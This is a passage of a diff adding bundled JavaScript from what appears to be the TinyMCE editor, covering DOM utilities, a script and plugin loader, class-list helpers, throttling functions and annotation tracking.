+            }
+            name$$1 = node.nodeName.toLowerCase();
+            if (elements && elements[name$$1]) {
+              if (name$$1 === 'br') {
+                brCount++;
+                node = walker.next();
+                continue;
+              }
+              return false;
+            }
+            attributes = getAttribs(node);
+            i = attributes.length;
+            while (i--) {
+              name$$1 = attributes[i].nodeName;
+              if (name$$1 === 'name' || name$$1 === 'data-mce-bookmark') {
+                return false;
+              }
+            }
+          }
+          if (type === 8) {
+            return false;
+          }
+          if (type === 3 && !whiteSpaceRegExp$2.test(node.nodeValue)) {
+            return false;
+          }
+          if (type === 3 && node.parentNode && whitespace[node.parentNode.nodeName] && whiteSpaceRegExp$2.test(node.nodeValue)) {
+            return false;
+          }
+          node = walker.next();
+        } while (node);
+      }
+      return brCount <= 1;
+    };
+    var createRng = function () {
+      return doc.createRange();
+    };
+    var split = function (parentElm, splitElm, replacementElm) {
+      var r = createRng(), bef, aft, pa;
+      if (parentElm && splitElm) {
+        r.setStart(parentElm.parentNode, findNodeIndex(parentElm));
+        r.setEnd(splitElm.parentNode, findNodeIndex(splitElm));
+        bef = r.extractContents();
+        r = createRng();
+        r.setStart(splitElm.parentNode, findNodeIndex(splitElm) + 1);
+        r.setEnd(parentElm.parentNode, findNodeIndex(parentElm) + 1);
+        aft = r.extractContents();
+        pa = parentElm.parentNode;
+        pa.insertBefore($_cu5wx21pjjgwe7pz.trimNode(self$$1, bef), parentElm);
+        if (replacementElm) {
+          pa.insertBefore(replacementElm, parentElm);
+        } else {
+          pa.insertBefore(splitElm, parentElm);
+        }
+        pa.insertBefore($_cu5wx21pjjgwe7pz.trimNode(self$$1, aft), parentElm);
+        remove(parentElm);
+        return replacementElm || splitElm;
+      }
+    };
+    var bind = function (target, name$$1, func, scope) {
+      if ($_6cwiepljjgwe7j4.isArray(target)) {
+        var i = target.length;
+        while (i--) {
+          target[i] = bind(target[i], name$$1, func, scope);
+        }
+        return target;
+      }
+      if (settings.collect && (target === doc || target === win)) {
+        boundEvents.push([
+          target,
+          name$$1,
+          func,
+          scope
+        ]);
+      }
+      return events.bind(target, name$$1, func, scope || self$$1);
+    };
+    var unbind = function (target, name$$1, func) {
+      var i;
+      if ($_6cwiepljjgwe7j4.isArray(target)) {
+        i = target.length;
+        while (i--) {
+          target[i] = unbind(target[i], name$$1, func);
+        }
+        return target;
+      }
+      if (boundEvents && (target === doc || target === win)) {
+        i = boundEvents.length;
+        while (i--) {
+          var item = boundEvents[i];
+          if (target === item[0] && (!name$$1 || name$$1 === item[1]) && (!func || func === item[2])) {
+            events.unbind(item[0], item[1], item[2]);
+          }
+        }
+      }
+      return events.unbind(target, name$$1, func);
+    };
+    var fire = function (target, name$$1, evt) {
+      return events.fire(target, name$$1, evt);
+    };
+    var getContentEditable = function (node) {
+      if (node && $_3b9u2y1rjjgwe7qe.isElement(node)) {
+        var contentEditable = node.getAttribute('data-mce-contenteditable');
+        if (contentEditable && contentEditable !== 'inherit') {
+          return contentEditable;
+        }
+        return node.contentEditable !== 'inherit' ? node.contentEditable : null;
+      } else {
+        return null;
+      }
+    };
+    var getContentEditableParent = function (node) {
+      var root = getRoot();
+      var state = null;
+      for (; node && node !== root; node = node.parentNode) {
+        state = getContentEditable(node);
+        if (state !== null) {
+          break;
+        }
+      }
+      return state;
+    };
+    var destroy = function () {
+      if (boundEvents) {
+        var i = boundEvents.length;
+        while (i--) {
+          var item = boundEvents[i];
+          events.unbind(item[0], item[1], item[2]);
+        }
+      }
+      if (Sizzle.setDocument) {
+        Sizzle.setDocument();
+      }
+    };
+    var isChildOf = function (node, parent$$1) {
+      while (node) {
+        if (parent$$1 === node) {
+          return true;
+        }
+        node = node.parentNode;
+      }
+      return false;
+    };
+    var dumpRng = function (r) {
+      return 'startContainer: ' + r.startContainer.nodeName + ', startOffset: ' + r.startOffset + ', endContainer: ' + r.endContainer.nodeName + ', endOffset: ' + r.endOffset;
+    };
+    var self$$1 = {
+      doc: doc,
+      settings: settings,
+      win: win,
+      files: files,
+      stdMode: stdMode,
+      boxModel: boxModel,
+      styleSheetLoader: styleSheetLoader,
+      boundEvents: boundEvents,
+      styles: styles,
+      schema: schema,
+      events: events,
+      isBlock: isBlock,
+      $: $,
+      $$: $$,
+      root: null,
+      clone: clone,
+      getRoot: getRoot,
+      getViewPort: getViewPort,
+      getRect: getRect,
+      getSize: getSize,
+      getParent: getParent,
+      getParents: getParents,
+      get: get,
+      getNext: getNext,
+      getPrev: getPrev,
+      select: select,
+      is: is,
+      add: add,
+      create: create,
+      createHTML: createHTML,
+      createFragment: createFragment,
+      remove: remove,
+      setStyle: setStyle,
+      getStyle: getStyle,
+      setStyles: setStyles,
+      removeAllAttribs: removeAllAttribs,
+      setAttrib: setAttrib,
+      setAttribs: setAttribs,
+      getAttrib: getAttrib,
+      getPos: getPos,
+      parseStyle: parseStyle,
+      serializeStyle: serializeStyle,
+      addStyle: addStyle,
+      loadCSS: loadCSS,
+      addClass: addClass,
+      removeClass: removeClass,
+      hasClass: hasClass,
+      toggleClass: toggleClass,
+      show: show,
+      hide: hide,
+      isHidden: isHidden,
+      uniqueId: uniqueId,
+      setHTML: setHTML,
+      getOuterHTML: getOuterHTML,
+      setOuterHTML: setOuterHTML,
+      decode: decode,
+      encode: encode,
+      insertAfter: insertAfter,
+      replace: replace,
+      rename: rename,
+      findCommonAncestor: findCommonAncestor,
+      toHex: toHex,
+      run: run,
+      getAttribs: getAttribs,
+      isEmpty: isEmpty,
+      createRng: createRng,
+      nodeIndex: findNodeIndex,
+      split: split,
+      bind: bind,
+      unbind: unbind,
+      fire: fire,
+      getContentEditable: getContentEditable,
+      getContentEditableParent: getContentEditableParent,
+      destroy: destroy,
+      isChildOf: isChildOf,
+      dumpRng: dumpRng
+    };
+    attrHooks = setupAttrHooks(styles, settings, function () {
+      return self$$1;
+    });
+    return self$$1;
+  }
+  (function (DOMUtils) {
+    DOMUtils.DOM = DOMUtils(document);
+    DOMUtils.nodeIndex = findNodeIndex;
+  }(DOMUtils || (DOMUtils = {})));
+  var DOMUtils$1 = DOMUtils;
+
+  var DOM = DOMUtils$1.DOM;
+  var each$6 = $_6cwiepljjgwe7j4.each;
+  var grep$2 = $_6cwiepljjgwe7j4.grep;
+  var isFunction$1 = function (f) {
+    return typeof f === 'function';
+  };
+  var ScriptLoader = function () {
+    var QUEUED = 0;
+    var LOADING = 1;
+    var LOADED = 2;
+    var FAILED = 3;
+    var states = {};
+    var queue = [];
+    var scriptLoadedCallbacks = {};
+    var queueLoadedCallbacks = [];
+    var loading = 0;
+    var loadScript = function (url, success, failure) {
+      var dom = DOM;
+      var elm, id;
+      var done = function () {
+        dom.remove(id);
+        if (elm) {
+          elm.onreadystatechange = elm.onload = elm = null;
+        }
+        success();
+      };
+      var error = function () {
+        if (isFunction$1(failure)) {
+          failure();
+        } else {
+          if (typeof console !== 'undefined' && console.log) {
+            console.log('Failed to load script: ' + url);
+          }
+        }
+      };
+      id = dom.uniqueId();
+      elm = document.createElement('script');
+      elm.id = id;
+      elm.type = 'text/javascript';
+      elm.src = $_6cwiepljjgwe7j4._addCacheSuffix(url);
+      if ('onreadystatechange' in elm) {
+        elm.onreadystatechange = function () {
+          if (/loaded|complete/.test(elm.readyState)) {
+            done();
+          }
+        };
+      } else {
+        elm.onload = done;
+      }
+      elm.onerror = error;
+      (document.getElementsByTagName('head')[0] || document.body).appendChild(elm);
+    };
+    this.isDone = function (url) {
+      return states[url] === LOADED;
+    };
+    this.markDone = function (url) {
+      states[url] = LOADED;
+    };
+    this.add = this.load = function (url, success, scope, failure) {
+      var state = states[url];
+      if (state === undefined) {
+        queue.push(url);
+        states[url] = QUEUED;
+      }
+      if (success) {
+        if (!scriptLoadedCallbacks[url]) {
+          scriptLoadedCallbacks[url] = [];
+        }
+        scriptLoadedCallbacks[url].push({
+          success: success,
+          failure: failure,
+          scope: scope || this
+        });
+      }
+    };
+    this.remove = function (url) {
+      delete states[url];
+      delete scriptLoadedCallbacks[url];
+    };
+    this.loadQueue = function (success, scope, failure) {
+      this.loadScripts(queue, success, scope, failure);
+    };
+    this.loadScripts = function (scripts, success, scope, failure) {
+      var loadScripts;
+      var failures = [];
+      var execCallbacks = function (name$$1, url) {
+        each$6(scriptLoadedCallbacks[url], function (callback) {
+          if (isFunction$1(callback[name$$1])) {
+            callback[name$$1].call(callback.scope);
+          }
+        });
+        scriptLoadedCallbacks[url] = undefined;
+      };
+      queueLoadedCallbacks.push({
+        success: success,
+        failure: failure,
+        scope: scope || this
+      });
+      loadScripts = function () {
+        var loadingScripts = grep$2(scripts);
+        scripts.length = 0;
+        each$6(loadingScripts, function (url) {
+          if (states[url] === LOADED) {
+            execCallbacks('success', url);
+            return;
+          }
+          if (states[url] === FAILED) {
+            execCallbacks('failure', url);
+            return;
+          }
+          if (states[url] !== LOADING) {
+            states[url] = LOADING;
+            loading++;
+            loadScript(url, function () {
+              states[url] = LOADED;
+              loading--;
+              execCallbacks('success', url);
+              loadScripts();
+            }, function () {
+              states[url] = FAILED;
+              loading--;
+              failures.push(url);
+              execCallbacks('failure', url);
+              loadScripts();
+            });
+          }
+        });
+        if (!loading) {
+          var notifyCallbacks = queueLoadedCallbacks.slice(0);
+          queueLoadedCallbacks.length = 0;
+          each$6(notifyCallbacks, function (callback) {
+            if (failures.length === 0) {
+              if (isFunction$1(callback.success)) {
+                callback.success.call(callback.scope);
+              }
+            } else {
+              if (isFunction$1(callback.failure)) {
+                callback.failure.call(callback.scope, failures);
+              }
+            }
+          });
+        }
+      };
+      loadScripts();
+    };
+  };
+  ScriptLoader.ScriptLoader = new ScriptLoader();
+
+  var each$7 = $_6cwiepljjgwe7j4.each;
+  function AddOnManager() {
+    var _this = this;
+    var items = [];
+    var urls = {};
+    var lookup = {};
+    var _listeners = [];
+    var get = function (name) {
+      if (lookup[name]) {
+        return lookup[name].instance;
+      }
+      return undefined;
+    };
+    var dependencies = function (name) {
+      var result;
+      if (lookup[name]) {
+        result = lookup[name].dependencies;
+      }
+      return result || [];
+    };
+    var requireLangPack = function (name, languages) {
+      var language = AddOnManager.language;
+      if (language && AddOnManager.languageLoad !== false) {
+        if (languages) {
+          languages = ',' + languages + ',';
+          if (languages.indexOf(',' + language.substr(0, 2) + ',') !== -1) {
+            language = language.substr(0, 2);
+          } else if (languages.indexOf(',' + language + ',') === -1) {
+            return;
+          }
+        }
+        ScriptLoader.ScriptLoader.add(urls[name] + '/langs/' + language + '.js');
+      }
+    };
+    var add = function (id, addOn, dependencies) {
+      items.push(addOn);
+      lookup[id] = {
+        instance: addOn,
+        dependencies: dependencies
+      };
+      var result = partition(_listeners, function (listener) {
+        return listener.name === id;
+      });
+      _listeners = result.fail;
+      each$7(result.pass, function (listener) {
+        listener.callback();
+      });
+      return addOn;
+    };
+    var remove = function (name) {
+      delete urls[name];
+      delete lookup[name];
+    };
+    var createUrl = function (baseUrl, dep) {
+      if (typeof dep === 'object') {
+        return dep;
+      }
+      return typeof baseUrl === 'string' ? {
+        prefix: '',
+        resource: dep,
+        suffix: ''
+      } : {
+        prefix: baseUrl.prefix,
+        resource: dep,
+        suffix: baseUrl.suffix
+      };
+    };
+    var addComponents = function (pluginName, scripts) {
+      var pluginUrl = _this.urls[pluginName];
+      each$7(scripts, function (script) {
+        ScriptLoader.ScriptLoader.add(pluginUrl + '/' + script);
+      });
+    };
+    var loadDependencies = function (name, addOnUrl, success, scope) {
+      var deps = dependencies(name);
+      each$7(deps, function (dep) {
+        var newUrl = createUrl(addOnUrl, dep);
+        load(newUrl.resource, newUrl, undefined, undefined);
+      });
+      if (success) {
+        if (scope) {
+          success.call(scope);
+        } else {
+          success.call(ScriptLoader);
+        }
+      }
+    };
+    var load = function (name, addOnUrl, success, scope, failure) {
+      if (urls[name]) {
+        return;
+      }
+      var urlString = typeof addOnUrl === 'string' ? addOnUrl : addOnUrl.prefix + addOnUrl.resource + addOnUrl.suffix;
+      if (urlString.indexOf('/') !== 0 && urlString.indexOf('://') === -1) {
+        urlString = AddOnManager.baseURL + '/' + urlString;
+      }
+      urls[name] = urlString.substring(0, urlString.lastIndexOf('/'));
+      if (lookup[name]) {
+        loadDependencies(name, addOnUrl, success, scope);
+      } else {
+        ScriptLoader.ScriptLoader.add(urlString, function () {
+          return loadDependencies(name, addOnUrl, success, scope);
+        }, scope, failure);
+      }
+    };
+    var waitFor = function (name, callback) {
+      if (lookup.hasOwnProperty(name)) {
+        callback();
+      } else {
+        _listeners.push({
+          name: name,
+          callback: callback
+        });
+      }
+    };
+    return {
+      items: items,
+      urls: urls,
+      lookup: lookup,
+      _listeners: _listeners,
+      get: get,
+      dependencies: dependencies,
+      requireLangPack: requireLangPack,
+      add: add,
+      remove: remove,
+      createUrl: createUrl,
+      addComponents: addComponents,
+      load: load,
+      waitFor: waitFor
+    };
+  }
+  (function (AddOnManager) {
+    AddOnManager.PluginManager = AddOnManager();
+    AddOnManager.ThemeManager = AddOnManager();
+  }(AddOnManager || (AddOnManager = {})));
+
+  var before = function (marker, element) {
+    var parent = $_d3rmjp18jjgwe7nc.parent(marker);
+    parent.each(function (v) {
+      v.dom().insertBefore(element.dom(), marker.dom());
+    });
+  };
+  var after = function (marker, element) {
+    var sibling = $_d3rmjp18jjgwe7nc.nextSibling(marker);
+    sibling.fold(function () {
+      var parent = $_d3rmjp18jjgwe7nc.parent(marker);
+      parent.each(function (v) {
+        append(v, element);
+      });
+    }, function (v) {
+      before(v, element);
+    });
+  };
+  var prepend = function (parent, element) {
+    var firstChild = $_d3rmjp18jjgwe7nc.firstChild(parent);
+    firstChild.fold(function () {
+      append(parent, element);
+    }, function (v) {
+      parent.dom().insertBefore(element.dom(), v.dom());
+    });
+  };
+  var append = function (parent, element) {
+    parent.dom().appendChild(element.dom());
+  };
+  var appendAt = function (parent, element, index) {
+    $_d3rmjp18jjgwe7nc.child(parent, index).fold(function () {
+      append(parent, element);
+    }, function (v) {
+      before(v, element);
+    });
+  };
+  var wrap$1 = function (element, wrapper) {
+    before(element, wrapper);
+    append(wrapper, element);
+  };
+  var $_ewo3u51yjjgwe7su = {
+    before: before,
+    after: after,
+    prepend: prepend,
+    append: append,
+    appendAt: appendAt,
+    wrap: wrap$1
+  };
+
+  var before$1 = function (marker, elements) {
+    each(elements, function (x) {
+      $_ewo3u51yjjgwe7su.before(marker, x);
+    });
+  };
+  var after$1 = function (marker, elements) {
+    each(elements, function (x, i) {
+      var e = i === 0 ? marker : elements[i - 1];
+      $_ewo3u51yjjgwe7su.after(e, x);
+    });
+  };
+  var prepend$1 = function (parent, elements) {
+    each(elements.slice().reverse(), function (x) {
+      $_ewo3u51yjjgwe7su.prepend(parent, x);
+    });
+  };
+  var append$1 = function (parent, elements) {
+    each(elements, function (x) {
+      $_ewo3u51yjjgwe7su.append(parent, x);
+    });
+  };
+  var $_4wf3mo1xjjgwe7sq = {
+    before: before$1,
+    after: after$1,
+    prepend: prepend$1,
+    append: append$1
+  };
+
+  var empty = function (element) {
+    element.dom().textContent = '';
+    each($_d3rmjp18jjgwe7nc.children(element), function (rogue) {
+      remove$2(rogue);
+    });
+  };
+  var remove$2 = function (element) {
+    var dom = element.dom();
+    if (dom.parentNode !== null)
+      dom.parentNode.removeChild(dom);
+  };
+  var unwrap = function (wrapper) {
+    var children = $_d3rmjp18jjgwe7nc.children(wrapper);
+    if (children.length > 0)
+      $_4wf3mo1xjjgwe7sq.before(wrapper, children);
+    remove$2(wrapper);
+  };
+  var $_81exq51wjjgwe7sm = {
+    empty: empty,
+    remove: remove$2,
+    unwrap: unwrap
+  };
+
+  var first$1 = function (fn, rate) {
+    var timer = null;
+    var cancel = function () {
+      if (timer !== null) {
+        clearTimeout(timer);
+        timer = null;
+      }
+    };
+    var throttle = function () {
+      var args = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        args[_i] = arguments[_i];
+      }
+      if (timer === null) {
+        timer = setTimeout(function () {
+          fn.apply(null, args);
+          timer = null;
+        }, rate);
+      }
+    };
+    return {
+      cancel: cancel,
+      throttle: throttle
+    };
+  };
+  var last$3 = function (fn, rate) {
+    var timer = null;
+    var cancel = function () {
+      if (timer !== null) {
+        clearTimeout(timer);
+        timer = null;
+      }
+    };
+    var throttle = function () {
+      var args = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        args[_i] = arguments[_i];
+      }
+      if (timer !== null)
+        clearTimeout(timer);
+      timer = setTimeout(function () {
+        fn.apply(null, args);
+        timer = null;
+      }, rate);
+    };
+    return {
+      cancel: cancel,
+      throttle: throttle
+    };
+  };
+
+  var Cell = function (initial) {
+    var value = initial;
+    var get = function () {
+      return value;
+    };
+    var set = function (v) {
+      value = v;
+    };
+    var clone = function () {
+      return Cell(get());
+    };
+    return {
+      get: get,
+      set: set,
+      clone: clone
+    };
+  };
+
+  function Toggler (turnOff, turnOn, initial) {
+    var active = initial || false;
+    var on = function () {
+      turnOn();
+      active = true;
+    };
+    var off = function () {
+      turnOff();
+      active = false;
+    };
+    var toggle = function () {
+      var f = active ? off : on;
+      f();
+    };
+    var isOn = function () {
+      return active;
+    };
+    return {
+      on: on,
+      off: off,
+      toggle: toggle,
+      isOn: isOn
+    };
+  }
+
+  var read = function (element, attr) {
+    var value = $_etx7gr15jjgwe7mr.get(element, attr);
+    return value === undefined || value === '' ? [] : value.split(' ');
+  };
+  var add = function (element, attr, id) {
+    var old = read(element, attr);
+    var nu = old.concat([id]);
+    $_etx7gr15jjgwe7mr.set(element, attr, nu.join(' '));
+    return true;
+  };
+  var remove$3 = function (element, attr, id) {
+    var nu = filter(read(element, attr), function (v) {
+      return v !== id;
+    });
+    if (nu.length > 0)
+      $_etx7gr15jjgwe7mr.set(element, attr, nu.join(' '));
+    else
+      $_etx7gr15jjgwe7mr.remove(element, attr);
+    return false;
+  };
+  var $_93yq9626jjgwe7ub = {
+    read: read,
+    add: add,
+    remove: remove$3
+  };
+
+  var supports = function (element) {
+    return element.dom().classList !== undefined;
+  };
+  var get$2 = function (element) {
+    return $_93yq9626jjgwe7ub.read(element, 'class');
+  };
+  var add$1 = function (element, clazz) {
+    return $_93yq9626jjgwe7ub.add(element, 'class', clazz);
+  };
+  var remove$4 = function (element, clazz) {
+    return $_93yq9626jjgwe7ub.remove(element, 'class', clazz);
+  };
+  var toggle = function (element, clazz) {
+    if (contains(get$2(element), clazz)) {
+      return remove$4(element, clazz);
+    } else {
+      return add$1(element, clazz);
+    }
+  };
+  var $_4u1bru25jjgwe7u6 = {
+    get: get$2,
+    add: add$1,
+    remove: remove$4,
+    toggle: toggle,
+    supports: supports
+  };
+
+  var add$2 = function (element, clazz) {
+    if ($_4u1bru25jjgwe7u6.supports(element))
+      element.dom().classList.add(clazz);
+    else
+      $_4u1bru25jjgwe7u6.add(element, clazz);
+  };
+  var cleanClass = function (element) {
+    var classList = $_4u1bru25jjgwe7u6.supports(element) ? element.dom().classList : $_4u1bru25jjgwe7u6.get(element);
+    if (classList.length === 0) {
+      $_etx7gr15jjgwe7mr.remove(element, 'class');
+    }
+  };
+  var remove$5 = function (element, clazz) {
+    if ($_4u1bru25jjgwe7u6.supports(element)) {
+      var classList = element.dom().classList;
+      classList.remove(clazz);
+    } else
+      $_4u1bru25jjgwe7u6.remove(element, clazz);
+    cleanClass(element);
+  };
+  var toggle$1 = function (element, clazz) {
+    return $_4u1bru25jjgwe7u6.supports(element) ? element.dom().classList.toggle(clazz) : $_4u1bru25jjgwe7u6.toggle(element, clazz);
+  };
+  var toggler = function (element, clazz) {
+    var hasClasslist = $_4u1bru25jjgwe7u6.supports(element);
+    var classList = element.dom().classList;
+    var off = function () {
+      if (hasClasslist)
+        classList.remove(clazz);
+      else
+        $_4u1bru25jjgwe7u6.remove(element, clazz);
+    };
+    var on = function () {
+      if (hasClasslist)
+        classList.add(clazz);
+      else
+        $_4u1bru25jjgwe7u6.add(element, clazz);
+    };
+    return Toggler(off, on, has$1(element, clazz));
+  };
+  var has$1 = function (element, clazz) {
+    return $_4u1bru25jjgwe7u6.supports(element) && element.dom().classList.contains(clazz);
+  };
+  var $_9lrjdk23jjgwe7u2 = {
+    add: add$2,
+    remove: remove$5,
+    toggle: toggle$1,
+    toggler: toggler,
+    has: has$1
+  };
+
+  var all$1 = function (predicate) {
+    return descendants($_eu440l16jjgwe7n2.body(), predicate);
+  };
+  var ancestors = function (scope, predicate, isRoot) {
+    return filter($_d3rmjp18jjgwe7nc.parents(scope, isRoot), predicate);
+  };
+  var siblings$1 = function (scope, predicate) {
+    return filter($_d3rmjp18jjgwe7nc.siblings(scope), predicate);
+  };
+  var children$1 = function (scope, predicate) {
+    return filter($_d3rmjp18jjgwe7nc.children(scope), predicate);
+  };
+  var descendants = function (scope, predicate) {
+    var result = [];
+    each($_d3rmjp18jjgwe7nc.children(scope), function (x) {
+      if (predicate(x)) {
+        result = result.concat([x]);
+      }
+      result = result.concat(descendants(x, predicate));
+    });
+    return result;
+  };
+  var $_15b10128jjgwe7uh = {
+    all: all$1,
+    ancestors: ancestors,
+    siblings: siblings$1,
+    children: children$1,
+    descendants: descendants
+  };
+
+  var all$2 = function (selector) {
+    return $_4yq1xp1gjjgwe7op.all(selector);
+  };
+  var ancestors$1 = function (scope, selector, isRoot) {
+    return $_15b10128jjgwe7uh.ancestors(scope, function (e) {
+      return $_4yq1xp1gjjgwe7op.is(e, selector);
+    }, isRoot);
+  };
+  var siblings$2 = function (scope, selector) {
+    return $_15b10128jjgwe7uh.siblings(scope, function (e) {
+      return $_4yq1xp1gjjgwe7op.is(e, selector);
+    });
+  };
+  var children$2 = function (scope, selector) {
+    return $_15b10128jjgwe7uh.children(scope, function (e) {
+      return $_4yq1xp1gjjgwe7op.is(e, selector);
+    });
+  };
+  var descendants$1 = function (scope, selector) {
+    return $_4yq1xp1gjjgwe7op.all(selector, scope);
+  };
+  var $_d3ydn427jjgwe7uf = {
+    all: all$2,
+    ancestors: ancestors$1,
+    siblings: siblings$2,
+    children: children$2,
+    descendants: descendants$1
+  };
+
+  function ClosestOrAncestor (is, ancestor, scope, a, isRoot) {
+    return is(scope, a) ? Option.some(scope) : isFunction(isRoot) && isRoot(scope) ? Option.none() : ancestor(scope, a, isRoot);
+  }
+
+  var first$2 = function (predicate) {
+    return descendant($_eu440l16jjgwe7n2.body(), predicate);
+  };
+  var ancestor = function (scope, predicate, isRoot) {
+    var element = scope.dom();
+    var stop = isFunction(isRoot) ? isRoot : constant(false);
+    while (element.parentNode) {
+      element = element.parentNode;
+      var el = Element$$1.fromDom(element);
+      if (predicate(el))
+        return Option.some(el);
+      else if (stop(el))
+        break;
+    }
+    return Option.none();
+  };
+  var closest = function (scope, predicate, isRoot) {
+    var is = function (scope) {
+      return predicate(scope);
+    };
+    return ClosestOrAncestor(is, ancestor, scope, predicate, isRoot);
+  };
+  var sibling$1 = function (scope, predicate) {
+    var element = scope.dom();
+    if (!element.parentNode)
+      return Option.none();
+    return child$1(Element$$1.fromDom(element.parentNode), function (x) {
+      return !$_5raon11ejjgwe7o5.eq(scope, x) && predicate(x);
+    });
+  };
+  var child$1 = function (scope, predicate) {
+    var result = find(scope.dom().childNodes, compose(predicate, Element$$1.fromDom));
+    return result.map(Element$$1.fromDom);
+  };
+  var descendant = function (scope, predicate) {
+    var descend = function (node) {
+      for (var i = 0; i < node.childNodes.length; i++) {
+        if (predicate(Element$$1.fromDom(node.childNodes[i])))
+          return Option.some(Element$$1.fromDom(node.childNodes[i]));
+        var res = descend(node.childNodes[i]);
+        if (res.isSome())
+          return res;
+      }
+      return Option.none();
+    };
+    return descend(scope.dom());
+  };
+  var $_7kjxyh2ajjgwe7un = {
+    first: first$2,
+    ancestor: ancestor,
+    closest: closest,
+    sibling: sibling$1,
+    child: child$1,
+    descendant: descendant
+  };
+
+  var first$3 = function (selector) {
+    return $_4yq1xp1gjjgwe7op.one(selector);
+  };
+  var ancestor$1 = function (scope, selector, isRoot) {
+    return $_7kjxyh2ajjgwe7un.ancestor(scope, function (e) {
+      return $_4yq1xp1gjjgwe7op.is(e, selector);
+    }, isRoot);
+  };
+  var sibling$2 = function (scope, selector) {
+    return $_7kjxyh2ajjgwe7un.sibling(scope, function (e) {
+      return $_4yq1xp1gjjgwe7op.is(e, selector);
+    });
+  };
+  var child$2 = function (scope, selector) {
+    return $_7kjxyh2ajjgwe7un.child(scope, function (e) {
+      return $_4yq1xp1gjjgwe7op.is(e, selector);
+    });
+  };
+  var descendant$1 = function (scope, selector) {
+    return $_4yq1xp1gjjgwe7op.one(selector, scope);
+  };
+  var closest$1 = function (scope, selector, isRoot) {
+    return ClosestOrAncestor($_4yq1xp1gjjgwe7op.is, ancestor$1, scope, selector, isRoot);
+  };
+  var $_ajwe9029jjgwe7ul = {
+    first: first$3,
+    ancestor: ancestor$1,
+    sibling: sibling$2,
+    child: child$2,
+    descendant: descendant$1,
+    closest: closest$1
+  };
+
+  var annotation = constant('mce-annotation');
+  var dataAnnotation = constant('data-mce-annotation');
+  var dataAnnotationId = constant('data-mce-annotation-uid');
+
+  var identify = function (editor, annotationName) {
+    var rng = editor.selection.getRng();
+    var start = Element$$1.fromDom(rng.startContainer);
+    var root = Element$$1.fromDom(editor.getBody());
+    var selector = annotationName.fold(function () {
+      return '.' + annotation();
+    }, function (an) {
+      return '[' + dataAnnotation() + '="' + an + '"]';
+    });
+    var newStart = $_d3rmjp18jjgwe7nc.child(start, rng.startOffset).getOr(start);
+    var closest = $_ajwe9029jjgwe7ul.closest(newStart, selector, function (n) {
+      return $_5raon11ejjgwe7o5.eq(n, root);
+    });
+    var getAttr = function (c, property) {
+      if ($_etx7gr15jjgwe7mr.has(c, property)) {
+        return Option.some($_etx7gr15jjgwe7mr.get(c, property));
+      } else {
+        return Option.none();
+      }
+    };
+    return closest.bind(function (c) {
+      return getAttr(c, '' + dataAnnotationId()).bind(function (uid) {
+        return getAttr(c, '' + dataAnnotation()).map(function (name) {
+          var elements = findMarkers(editor, uid);
+          return {
+            uid: uid,
+            name: name,
+            elements: elements
+          };
+        });
+      });
+    });
+  };
+  var isAnnotation = function (elem) {
+    return $_fxxo5411jjgwe7lq.isElement(elem) && $_9lrjdk23jjgwe7u2.has(elem, annotation());
+  };
+  var findMarkers = function (editor, uid) {
+    var body = Element$$1.fromDom(editor.getBody());
+    return $_d3ydn427jjgwe7uf.descendants(body, '[' + dataAnnotationId() + '="' + uid + '"]');
+  };
+  var findAll = function (editor, name) {
+    var body = Element$$1.fromDom(editor.getBody());
+    var markers = $_d3ydn427jjgwe7uf.descendants(body, '[' + dataAnnotation() + '="' + name + '"]');
+    var directory = {};
+    each(markers, function (m) {
+      var uid = $_etx7gr15jjgwe7mr.get(m, dataAnnotationId());
+      var nodesAlready = directory.hasOwnProperty(uid) ? directory[uid] : [];
+      directory[uid] = nodesAlready.concat([m]);
+    });
+    return directory;
+  };
+
+  var setup = function (editor, registry) {
+    var changeCallbacks = Cell({});
+    var initData = function () {
+      return {
+        listeners: [],
+        previous: Cell(Option.none())
+      };
+    };
+    var withCallbacks = function (name, f) {
+      updateCallbacks(name, function (data) {
+        f(data);
+        return data;
+      });
+    };
+    var updateCallbacks = function (name, f) {
+      var callbackMap = changeCallbacks.get();
+      var data = callbackMap.hasOwnProperty(name) ? callbackMap[name] : initData();
+      var outputData = f(data);
+      callbackMap[name] = outputData;
+      changeCallbacks.set(callbackMap);
+    };
+    var fireCallbacks = function (name, uid, elements) {
+      withCallbacks(name, function (data) {
+        each(data.listeners, function (f) {
+          return f(true, name, {
+            uid: uid,
+            nodes: map(elements, function (elem) {
+              return elem.dom();
+            })
+          });
+        });
+      });
+    };
+    var fireNoAnnotation = function (name) {
+      withCallbacks(name, function (data) {
+        each(data.listeners, function (f) {
+          return f(false, name);
+        });
+      });
+    };
+    var onNodeChange = last$3(function () {
+      var callbackMap = changeCallbacks.get();
+      var annotations = sort(keys(callbackMap));
+      each(annotations, function (name) {
+        updateCallbacks(name, function (data) {
+          var prev = data.previous.get();
+          identify(editor, Option.some(name)).fold(function () {
+            if (prev.isSome()) {
+              fireNoAnnotation(name);
+              data.previous.set(Option.none());
+            }
+          }, function (_a) {
+            var uid = _a.uid, name = _a.name, elements = _a.elements;
+            if (!prev.is(uid)) {
+              fireCallbacks(name, uid, elements);
+              data.previous.set(Option.some(uid));
+            }
+          });
+          return {
+            previous: data.previous,
+            listeners: data.listeners
+          };
+        });
+      });
+    }, 30);
+    editor.on('remove', function () {
+      onNodeChange.cancel();
+    });
+    editor.on('nodeChange', function () {
+      onNodeChange.throttle();
+    });
+    var addListener = function (name, f) {
+      updateCallbacks(name, function (data) {
+        return {
+          previous: data.previous,
+          listeners: data.listeners.concat([f])
+        };
+      });
+    };
+    return { addListener: addListener };
+  };
+
+  var setup$1 = function (editor, registry) {
+    var identifyParserNode = function (span) {
+      var optAnnotation = Option.from(span.attributes.map[dataAnnotation()]);
+      return optAnnotation.bind(registry.lookup);
+    };
+    editor.on('init', function () {
+      editor.serializer.addNodeFilter('span', function (spans) {
+        each(spans, function (span) {
+          identifyParserNode(span).each(function (settings) {
+            if (settings.persistent === false) {
+              span.unwrap();
+            }
+          });
+        });
+      });
+    });
+  };
+
+  var create$1 = function () {
+    var annotations = {};
+    var register = function (name, settings) {
+      annotations[name] = {
+        name: name,
+        settings: settings
+      };
+    };
+    var lookup = function (name) {
+      return annotations.hasOwnProperty(name) ? Option.from(annotations[name]).map(function (a) {
+        return a.settings;
+      }) : Option.none();
+    };
+    return {
+      register: register,
+      lookup: lookup
+    };
+  };
+
+  var unique = 0;
+  var generate = function (prefix) {
+    var date = new Date();
+    var time = date.getTime();
+    var random = Math.floor(Math.random() * 1000000000);
+    unique++;
+    return prefix + '_' + random + unique + String(time);
+  };
+
+  var add$3 = function (element, classes) {
